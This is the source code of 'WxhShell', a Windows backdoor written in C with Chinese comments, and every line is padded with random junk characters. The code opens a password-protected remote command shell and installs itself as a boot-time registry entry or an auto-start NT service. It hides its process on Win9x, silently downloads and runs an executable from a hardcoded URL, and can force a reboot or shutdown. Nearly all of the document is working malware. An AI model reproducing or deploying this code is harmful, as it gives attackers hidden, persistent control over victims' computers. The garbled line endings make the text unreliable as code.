    if(Boot(SHUTDOWN)) Rt!FPoN,y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m6CI{Sa](l  
    else { @A89eZbW  
    closesocket(wsh); <\ :Yk  
    ExitThread(0); 91  g2A|  
    } 8Sh54H  
    break; YccH+[X;  
    } H'HA+q  
  // 获取shell j<@lX^  
  case 's': { s`'{I8'p/  
    CmdShell(wsh); ?Yk.$90  
    closesocket(wsh); ?>rW>U6:P  
    ExitThread(0); ~W+kiTsD?  
    break; j=aI9p  
  } S4Ww5G?.  
  // 退出 &*G #H~\  
  case 'x': { >kp?vK;'B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \GZM&Zd  
    CloseIt(wsh); QPg8;O  
    break; fNt`?pW H  
    } {~s DYRX  
  // 离开 A}N?/{y)G  
  case 'q': { @jSYB+D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sVv xHkt@  
    closesocket(wsh); ]? g@jRs  
    WSACleanup(); ?_vakJ )  
    exit(1); 2Yn <2U/^R  
    break; DN~nk  
        } D\s WZ  
  } V(6Z3g  
  } /1Q(b  
\6<=$vD  
  // 提示信息 M .JoHH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,5, !es@`b  
} S` ;?z  
  } K3;nY}\>  
sOJQ,"sB  
  return; !&/{E [  
} *HO}~A%Lx  
,J>5:ht(6  
// shell模块句柄 WDPb!-VT  
int CmdShell(SOCKET sock) .my0|4CQ#@  
{ _:C9{aEZb  
STARTUPINFO si; DhT>']Z  
ZeroMemory(&si,sizeof(si)); v` 7RCg`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \cUNsB5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  4/1d&Sg  
PROCESS_INFORMATION ProcessInfo; WP+oFkw>  
char cmdline[]="cmd"; f Tl<p&b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D+z?wuXk  
  return 0; FUOI3  
} b6F4>@gjg  
^1aAjYFn  
// 自身启动模式 ReI/]#Us  
int StartFromService(void) I`LuRl w  
{ $!(pF  
typedef struct Jjv=u   
{ #=f?0UTA  
  DWORD ExitStatus; 6&l+0dq  
  DWORD PebBaseAddress; rIh l.5Y  
  DWORD AffinityMask; i2(1ki/|O  
  DWORD BasePriority; s,n0jix@  
  ULONG UniqueProcessId; `gb5 "`EZ  
  ULONG InheritedFromUniqueProcessId; ez^@NK  
}   PROCESS_BASIC_INFORMATION; %S nd\  
#Av.iAs  
PROCNTQSIP NtQueryInformationProcess; ;@Z#b8aM}  
(B_\TdQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "xHgqgFyO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OJ zs Q  
.!,z:l$Kh  
  HANDLE             hProcess; 3G~@H>j  
  PROCESS_BASIC_INFORMATION pbi; Z1Z1@2 T  
( %xwl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mo @C9Y0  
  if(NULL == hInst ) return 0; K7W6ZH9;  
B'EKM)dA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7`8Ik`lY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BT"42#7_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aKuSd3E@#  
 <**y !2  
  if (!NtQueryInformationProcess) return 0; ~UjGSO)z}  
``e$AS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *nsAgGKKM^  
  if(!hProcess) return 0; ]=";IN:SU  
GBFtr   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [7S} g  
_DNHc*  
  CloseHandle(hProcess); j;3[KLmuK%  
o1Q7Th  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fasgmi}  
if(hProcess==NULL) return 0; FE! lok  
`zXO_@C  
HMODULE hMod; #ap9Yoyk\  
char procName[255]; WT`4s  
unsigned long cbNeeded; ixQJ[fH10  
pV,P|>YTf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GJp85B!PlO  
qfz8jY]  
  CloseHandle(hProcess); xD[Gq%  
oK%K}{`  
if(strstr(procName,"services")) return 1; // 以服务启动 hcbv;[bG  
A\#P*+k0  
  return 0; // 注册表启动 S'B|>!z@  
} Xo*%/0q'  
dwd:6.J(  
// 主模块 mJ`A_0  
int StartWxhshell(LPSTR lpCmdLine) {aJJ `t  
{ >Ll$p 0W  
  SOCKET wsl; @wC5 g 4E  
BOOL val=TRUE;  n>`as  
  int port=0; /'DsB%7g  
  struct sockaddr_in door; YH_7=0EJ  
-!L"')  
  if(wscfg.ws_autoins) Install(); X'% ;B  
Bk\Gj`"7  
port=atoi(lpCmdLine); z,:a8LB#[  
njnDW~Snb  
if(port<=0) port=wscfg.ws_port; H0R&2#YD  
aKJQm '9Ks  
  WSADATA data; R% ,<\d7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @b~fIW_3>  
{ TRsd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &o97u4xi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,qrQ"r9  
  door.sin_family = AF_INET; GS Q/NYK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u% n*gcY  
  door.sin_port = htons(port); 3^ ~KB'RZ  
V{&rQ@{W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `TPOCxM Mo  
closesocket(wsl); \3jW~FV  
return 1; u=/CRjot  
} pOkLb #  
JiU9CeD3  
  if(listen(wsl,2) == INVALID_SOCKET) { ?8mlZ X9C  
closesocket(wsl); }sFm9j7yR  
return 1; Iu *^xn  
} {]]|5 \F  
  Wxhshell(wsl); m&iH2|  
  WSACleanup(); Tl|:9_:t  
"y<?Q}1  
return 0; $Qy7G{XJ[^  
d@G}~&.|  
} -tI'3oT1  
-}6xoF?  
// 以NT服务方式启动 OOz[-j>'Y+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LJTQaItdqJ  
{ d{de6 `  
DWORD   status = 0; )& <=.q  
  DWORD   specificError = 0xfffffff; e=QK}gzX  
uH;-z_Wpn!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D'hW|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D\YE^8/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !GQ\"Ufs>  
  serviceStatus.dwWin32ExitCode     = 0; vuFBET,  
  serviceStatus.dwServiceSpecificExitCode = 0; |s)?cpb  
  serviceStatus.dwCheckPoint       = 0; 2',w[I  
  serviceStatus.dwWaitHint       = 0; BiZ=${y  
z|(+|pV(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ii0Ce}8d~  
  if (hServiceStatusHandle==0) return; b4""|P?L  
q;wLa#4)J  
status = GetLastError(); VCcr3Dx()F  
  if (status!=NO_ERROR) *I0-O*Xr  
{ rUjdq/I:Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oejfU;+$  
    serviceStatus.dwCheckPoint       = 0; }O4se"xK  
    serviceStatus.dwWaitHint       = 0; Ep4Hqx $  
    serviceStatus.dwWin32ExitCode     = status; FHPXu59u  
    serviceStatus.dwServiceSpecificExitCode = specificError; eV cANP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AisN@  
    return; [J0 v&{)?  
  } =60~UM  
q(5+xSg"gK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P0-Fc@&Y  
  serviceStatus.dwCheckPoint       = 0; CCGV~e+  
  serviceStatus.dwWaitHint       = 0; ACK1@eF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }V|{lvt.  
} ez9k4IO  
rqlc2m,<-p  
// 处理NT服务事件,比如:启动、停止 ^U8r0]9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kw`VrcwjT  
{ eb8w~   
switch(fdwControl) s $*'^:   
{ h`}3h< 8  
case SERVICE_CONTROL_STOP: <_./SC  
  serviceStatus.dwWin32ExitCode = 0; ;!T{%-tP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?n\*,{9  
  serviceStatus.dwCheckPoint   = 0; @E53JKYhY  
  serviceStatus.dwWaitHint     = 0; P~FUS%39"o  
  { 1Fi86  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qJ_1*!!91  
  } Sm2>'C  
  return; .6pOvGKb  
case SERVICE_CONTROL_PAUSE: JkA|Qdj~Mr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $Vv}XMxw  
  break; p=QYc)3F  
case SERVICE_CONTROL_CONTINUE: :b,^J&~/)1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N|2y"5  
  break; Y3ZK%OyPR  
case SERVICE_CONTROL_INTERROGATE: OlQ,Ce  
  break; S|GWcSg  
}; '?yCq$&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ab1/.~^  
} BD#.-xWV  
e|r0zw S  
// 标准应用程序主函数 ARfRsPxr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i NWC6y  
{ -NBiW6b~  
,A5)<}  
// 获取操作系统版本 \BI/G  
OsIsNt=GetOsVer(); |k{-l!HI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vY*\R0/a  
bO/*2oau  
  // 从命令行安装 ,goBq3[%?  
  if(strpbrk(lpCmdLine,"iI")) Install(); &(xUhX T  
p&K\]l}  
  // 下载执行文件 /M OnNnV  
if(wscfg.ws_downexe) { !1uzX Kb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [[)_BmS5r  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3|Y!2b(:?  
} ~tGCLf]c\  
C6& ( c  
if(!OsIsNt) { H%z@h~s>  
// 如果时win9x,隐藏进程并且设置为注册表启动 .#5l$['  
HideProc(); ER{3,0U  
StartWxhshell(lpCmdLine); $'[q4wo<  
}  \`xkp[C  
else y02 u?wJ  
  if(StartFromService()) XvSIWs  
  // 以服务方式启动 }+Vv0jX|V  
  StartServiceCtrlDispatcher(DispatchTable); IdM*5Y>f  
else qSO*$1i  
  // 普通方式启动 5QWNZJ&}d  
  StartWxhshell(lpCmdLine); ad`_>lA4Lp  
Pcu|k/tk  
return 0; 8Xm@r#Oy5  
} u=qPzmywt  
 c!uW}U_z  
R.1Xst &i  
M} .b" ljZ  
=========================================== =J |sbY"]  
f8:$G.}i  
p`+VrcCBOd  
/4joC9\AB  
I*1S/o_xI  
Eo{EKI1  
" o+g4p:Mf  
wy4q[$.4v  
#include <stdio.h> &(&  
#include <string.h> '0+$ m=   
#include <windows.h> \-. Tg!Q6  
#include <winsock2.h> ?(im+2  
#include <winsvc.h> amB@N6*  
#include <urlmon.h> <Ns &b.\h6  
>v0:qN7|  
#pragma comment (lib, "Ws2_32.lib") {&nV4c$v  
#pragma comment (lib, "urlmon.lib") \/Ij7nD`l%  
MMD<I6Iyv  
#define MAX_USER   100 // 最大客户端连接数 zd`=Ih2Wx  
#define BUF_SOCK   200 // sock buffer WSI Xj5R  
#define KEY_BUFF   255 // 输入 buffer (Imp $  
IG / $!* E  
#define REBOOT     0   // 重启 M<qudi  
#define SHUTDOWN   1   // 关机 FpkXOj?*  
DA LQ<iF  
#define DEF_PORT   5000 // 监听端口 EE%s<_k`  
M g!ra"  
#define REG_LEN     16   // 注册表键长度 Y5jYmP<  
#define SVC_LEN     80   // NT服务名长度 M@^U 0 ?  
V8'`nuC+  
// 从dll定义API U4wpjHg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xVR:; Jy[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _9h.Gt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [b5(XIGUN}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lvufkVG|  
X N;/nU  
// wxhshell配置信息 hmGdjw t$  
struct WSCFG { <7g Ml  
  int ws_port;         // 监听端口 [(c L/_  
  char ws_passstr[REG_LEN]; // 口令 `Ei"_W  
  int ws_autoins;       // 安装标记, 1=yes 0=no m,NMTyJoz  
  char ws_regname[REG_LEN]; // 注册表键名 cTj~lO6  
  char ws_svcname[REG_LEN]; // 服务名 V<$*Y>;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [$2qna2VP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O: u%7V/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2xmT#m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <PD|_nZT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HtzMDGV<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qWB%),`j>  
0QR.   
}; Jn,w)Els  
xzK>Xi?  
// default Wxhshell configuration h3h8lt_ |  
struct WSCFG wscfg={DEF_PORT, nO@+s F  
    "xuhuanlingzhe", kukaim>K  
    1, d8.ajeN]o  
    "Wxhshell", +{xG<Wkltz  
    "Wxhshell", FT_k^CC  
            "WxhShell Service", b]dxlj} <  
    "Wrsky Windows CmdShell Service", 6{^*JC5nj  
    "Please Input Your Password: ", 4qBY% 1  
  1, AijUs*n 2  
  "http://www.wrsky.com/wxhshell.exe", :bw6k  
  "Wxhshell.exe" 3"B+xbe=  
    }; 6bJ"$o  
O<a3DyUa;  
// 消息定义模块 U]j&cFbn5_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4[H,3}p9H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -wIM0YJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R`7n^,  
char *msg_ws_ext="\n\rExit."; c'lIWuL)  
char *msg_ws_end="\n\rQuit."; B'/Icg.T  
char *msg_ws_boot="\n\rReboot..."; X)NWX9^;'  
char *msg_ws_poff="\n\rShutdown..."; t>@yv#  
char *msg_ws_down="\n\rSave to "; D'?]yyrf  
\I xzdFF#  
char *msg_ws_err="\n\rErr!"; Wy,"cT  
char *msg_ws_ok="\n\rOK!"; w#d} TY  
0hZxN2r  
char ExeFile[MAX_PATH]; >%i9oI<)  
int nUser = 0; Dtt\~m;AR  
HANDLE handles[MAX_USER]; j@V $Mbv  
int OsIsNt; \#_@qHAG  
Hc /w ta  
SERVICE_STATUS       serviceStatus; ;.r2$/E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }1\?()rB  
Y(W{Jd+  
// 函数声明 rUvwpP"k  
int Install(void); 2q|_Dma  
int Uninstall(void); _"v~"k 90^  
int DownloadFile(char *sURL, SOCKET wsh); :28@J?jjO  
int Boot(int flag); S `wE$so>  
void HideProc(void); S r[IoF)  
int GetOsVer(void); 9 G((wiE  
int Wxhshell(SOCKET wsl); z.A4x#>-  
void TalkWithClient(void *cs); k2wBy'M .'  
int CmdShell(SOCKET sock); j>V"hf  
int StartFromService(void); =*[, *A  
int StartWxhshell(LPSTR lpCmdLine); mC "7)&,F  
0. (zTJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _AAx )  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3v G  
o[2Y;kP3*P  
// 数据结构和表定义 1y(iE C  
SERVICE_TABLE_ENTRY DispatchTable[] = ] :GfOgo  
{ 6e&g$ R v  
{wscfg.ws_svcname, NTServiceMain}, Rgs3A)[`d/  
{NULL, NULL} yvS^2+jW  
}; &(WE]ziuO  
uq]iMz>  
// 自我安装 4=UI3 2v3  
int Install(void) w8U2y/:>  
{ <xC: Ant  
  char svExeFile[MAX_PATH]; Fv;u1Atiw  
  HKEY key; vFR 1UPF  
  strcpy(svExeFile,ExeFile); #[C< J#;  
=sL(^UISl  
// 如果是win9x系统,修改注册表设为自启动 6O%=G3I  
if(!OsIsNt) { cy9N:MR(c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cyDiA(ot&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~S! L!qY  
  RegCloseKey(key); -aA<.+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { my=*zziN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?! _u,sT  
  RegCloseKey(key); YlG; A\]k  
  return 0; E#8J+7  
    } .!!79 6hS  
  } q^u6f?B  
} -.^@9 a>  
else { ?V.ig  
W6h NJb  
// 如果是NT以上系统,安装为系统服务 R<_mK33hd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QZqp F9Eu  
if (schSCManager!=0) ZyZl\\8U  
{ d|R HG  
  SC_HANDLE schService = CreateService D1"1MUSod  
  ( 9#s,K! !3{  
  schSCManager, nz}]C04:-  
  wscfg.ws_svcname, J: L-15  
  wscfg.ws_svcdisp, 5X0_+DdeL  
  SERVICE_ALL_ACCESS, u2f `|+1^y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4p*?7g_WVH  
  SERVICE_AUTO_START, 32TP Mk  
  SERVICE_ERROR_NORMAL, zkuv\kY/Z  
  svExeFile, BW+qp3k\  
  NULL, p.qrf7N$  
  NULL, 9 J$Y,Z  
  NULL, (Be$$W  
  NULL, R %Rv  
  NULL N=hSqw[  
  ); 3`mC"a b /  
  if (schService!=0) ::kpl2r\c  
  { B'NS&7+].  
  CloseServiceHandle(schService); 9)1P+c--  
  CloseServiceHandle(schSCManager); Bb$S^F(Xq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rv0-vH.n  
  strcat(svExeFile,wscfg.ws_svcname); ;:-}z.7Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?S+/QyjcfJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %?U"[F1  
  RegCloseKey(key); i.B$?cr~  
  return 0; :zRB)hd  
    } c-? Ygr  
  } 1x^W'n,HtK  
  CloseServiceHandle(schSCManager); 7 3H@kf  
} dO Y lI`4  
} E!r4AjaC  
ddGkk@CA  
return 1; O8!!UA8V  
} l#mqV@?A~  
JDIz28Ww  
// 自我卸载 VGq{y{(  
int Uninstall(void) zS&7[:IRs'  
{ =>E44v  
  HKEY key; 2 rbX8Y  
[YL sEo=  
if(!OsIsNt) { WBIQ%XB'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (, ;MC/l  
  RegDeleteValue(key,wscfg.ws_regname); ][s*~VK;  
  RegCloseKey(key); >b[4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !pE>O-| K  
  RegDeleteValue(key,wscfg.ws_regname); q8&4=eV\A  
  RegCloseKey(key); H620vlC}V  
  return 0; D/+@d:-G  
  } T\<M?`Y  
} NB~*sP-l&  
} p{('KE)  
else { Br_3qJNVP  
2b{@]Fp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ylo]`Nq  
if (schSCManager!=0) roK4RYJ7)  
{ MVu[gB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <v1_F;{n  
  if (schService!=0) d!a2[2Us  
  { C.B8 J"T-  
  if(DeleteService(schService)!=0) { ;jpw"-J`  
  CloseServiceHandle(schService); $i5G7b  
  CloseServiceHandle(schSCManager); s.k`];wo  
  return 0; _rWTw+ L  
  } (7 ]\p  
  CloseServiceHandle(schService); {Tjtj@-  
  } *X"F:7  
  CloseServiceHandle(schSCManager); ?dATMmT-  
} NK*:w *SOI  
} VLl&>Pbe-  
[U+<uZzOC  
return 1; 2/a04qA#  
} 7~Xu71^3s  
C5W-B8>  
// 从指定url下载文件 OV0cr  
int DownloadFile(char *sURL, SOCKET wsh) dNS9<8JX  
{ R[2[[M  
  HRESULT hr; 'Gm!Jblo@  
char seps[]= "/"; K~9 jin  
char *token; am)J'i,  
char *file; j$JV(fz  
char myURL[MAX_PATH]; G5X|JTzpu<  
char myFILE[MAX_PATH]; g/J^K*3]  
<3J=;.\6  
strcpy(myURL,sURL); d- _93  
  token=strtok(myURL,seps); kG~ivB}x  
  while(token!=NULL) "X!_37kQ  
  { -&HoR!af  
    file=token; ~h~r]tV*+  
  token=strtok(NULL,seps); ZFd{q)qe   
  } `rRg(fCN!M  
_YD<Q@  
GetCurrentDirectory(MAX_PATH,myFILE); +eH=;8  
strcat(myFILE, "\\"); (\AszLW  
strcat(myFILE, file); iIC9rso"Q1  
  send(wsh,myFILE,strlen(myFILE),0); U iPVZ@?  
send(wsh,"...",3,0); f/|a?n2\hm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }T^v7 LY  
  if(hr==S_OK) h;mQ%9 Yd  
return 0; rkER`  
else jw6ng>9  
return 1; j2C^1:s@m  
^{:[^$f:l  
} aNh1e^j  
'~!l(&X  
// 系统电源模块 +&@l{x(,  
int Boot(int flag) RM / s :  
{ 9EY_R&Yq%  
  HANDLE hToken; >LRaIU>  
  TOKEN_PRIVILEGES tkp; `;8u9Ff  
!{|yAt9kP  
  if(OsIsNt) { x,@O:e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o2t@-dNi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4$#ia F  
    tkp.PrivilegeCount = 1; O,z%7><  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1tK6lrhj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d#$i/&gE  
if(flag==REBOOT) { FCw VVF0 y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2* cKFv{  
  return 0; FnU{C=P  
} I "+|cFq.  
else { 62KW HB9S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >G -?e!  
  return 0;  MYW 4@#  
} OYCFx2{  
  } ,4?|}xg  
  else { hJL0M!  
if(flag==REBOOT) { EJiF_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U#^:f7-$.  
  return 0; I n%yMH8  
} OW5|oG  
else { \c`r9H^v{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z6HkQ=A64  
  return 0; zz''FmedF  
} -V)5Tr=  
} EEnTq  
(]# JpQ  
return 1; "q#kh,-C  
} 9\;/-0P  
Y3F.hk}O  
// win9x进程隐藏模块 41_sSqq;^  
void HideProc(void) Tx&qp#FS  
{ #._6lESK  
X+G*Q}5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vu8-Cy>Q?  
  if ( hKernel != NULL ) ?. 'oxW  
  { R^w >aZ oJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;|e 0{Jrz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I<o4l[--  
    FreeLibrary(hKernel); ~+NFWNgN  
  } \|4MU"ri  
J}`$WL:  
return; )^a#Xn3z  
} [/`Hz]R  
_TeRsA  
// 获取操作系统版本 iPi'5g(a   
int GetOsVer(void) "r(pK@h  
{ V s t e$V  
  OSVERSIONINFO winfo; D +%k1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  /o3FK  
  GetVersionEx(&winfo); y8 u)Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qSs^}eN  
  return 1; rcb/X`l=  
  else rG'k<X~7  
  return 0; ?z36mj"`o  
} i /U{dzZ  
t 1'or  
// 客户端句柄模块 $@!&ML  
int Wxhshell(SOCKET wsl) ?^A:~"~  
{ ,lGwW8$R  
  SOCKET wsh; ?;kc%Rz  
  struct sockaddr_in client; =kkA  
  DWORD myID; 0BZOr-i  
#~qp8 w  
  while(nUser<MAX_USER) U@ QU8  
{ 4BL,/(W] x  
  int nSize=sizeof(client); wOl-iN=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SYhspB  
  if(wsh==INVALID_SOCKET) return 1; %3B>1h9N  
.0/Z'.c 8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E;e2{@SX2K  
if(handles[nUser]==0) iPL'JVPZ  
  closesocket(wsh); K%#C+`Ij  
else =-& iF  
  nUser++; &:{yf=  
  } CAObC%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {Ao^3vB  
"f$A0RL  
  return 0; OnPLz"-  
} #NxvLW/  
hA19:H=7R0  
// 关闭 socket m!>'}z  
void CloseIt(SOCKET wsh) bWzc=03  
{ -m-WUox4"  
closesocket(wsh); CU M~*  
nUser--; DY27'`n6  
ExitThread(0); .VV!$; FB  
} g5HqU2  
`6F8Kqltr  
// 客户端请求句柄 9W r(w  
void TalkWithClient(void *cs) n;Wf|>  
{ {oC69n:  
K#yH\fn8  
  SOCKET wsh=(SOCKET)cs; `SbX`a0p2  
  char pwd[SVC_LEN]; T$B4DQ  
  char cmd[KEY_BUFF]; ~x\ Q\Cxp  
char chr[1]; @WE$%dr  
int i,j; mM%BO(X{=  
"N"k8,LH  
  while (nUser < MAX_USER) { jpS#'h  
fxa^SV   
if(wscfg.ws_passstr) { Bd[}A9O[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <GR:5pJ%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L(rjjkH  
  //ZeroMemory(pwd,KEY_BUFF); |n%N'-el  
      i=0; )[Cm*Xxa$  
  while(i<SVC_LEN) { $e\R5L u  
he6) L6T  
  // 设置超时 Ct33S+y  
  fd_set FdRead; j;vaNg|vQ  
  struct timeval TimeOut; 5~5ypQj  
  FD_ZERO(&FdRead); I[Y?f8gJ  
  FD_SET(wsh,&FdRead); ? +!?$h  
  TimeOut.tv_sec=8; T}On:*&  
  TimeOut.tv_usec=0; 0w&1wee(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >U.uRq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8#AXK{  
PUo&>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); . 2Q/D?a  
  pwd=chr[0]; 7K4%`O  
  if(chr[0]==0xd || chr[0]==0xa) { hY'%SV p  
  pwd=0; ;sJ2K"c  
  break; <C xet~x  
  } W%:zvqg v  
  i++; f>PU# D@B  
    } 7 {<lH%Tn  
]d(}b>gR~(  
  // 如果是非法用户,关闭 socket $SgD| 9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p.olXP  
} :.^rWCL2  
2%H( a)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #$QY[rf=6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ttRH[[E(  
zW.sXV,  
while(1) { 9|DC<Zn&B#  
;c}];ZU3G  
  ZeroMemory(cmd,KEY_BUFF); +r"$?bw '  
,iy   
      // 自动支持客户端 telnet标准   k$/].P*!  
  j=0; <GEn9;\  
  while(j<KEY_BUFF) { BW[K/l~"$:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K.Ir+SB  
  cmd[j]=chr[0]; 548BM^^"r  
  if(chr[0]==0xa || chr[0]==0xd) { W1(zi P'6  
  cmd[j]=0; @e/dQ:Fb  
  break; g?sFmD  
  } Aed"J5[a  
  j++; {F[Xe_=#"  
    } %m`QnRX?D  
ij^!TY[0  
  // 下载文件 -Ox HQ  
  if(strstr(cmd,"http://")) { a#=-Aj-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =7> ~u  
  if(DownloadFile(cmd,wsh)) l{g( z !  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >kT~X ,o  
  else c i>=45@J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zq&lxySa  
  } @YELqUb*  
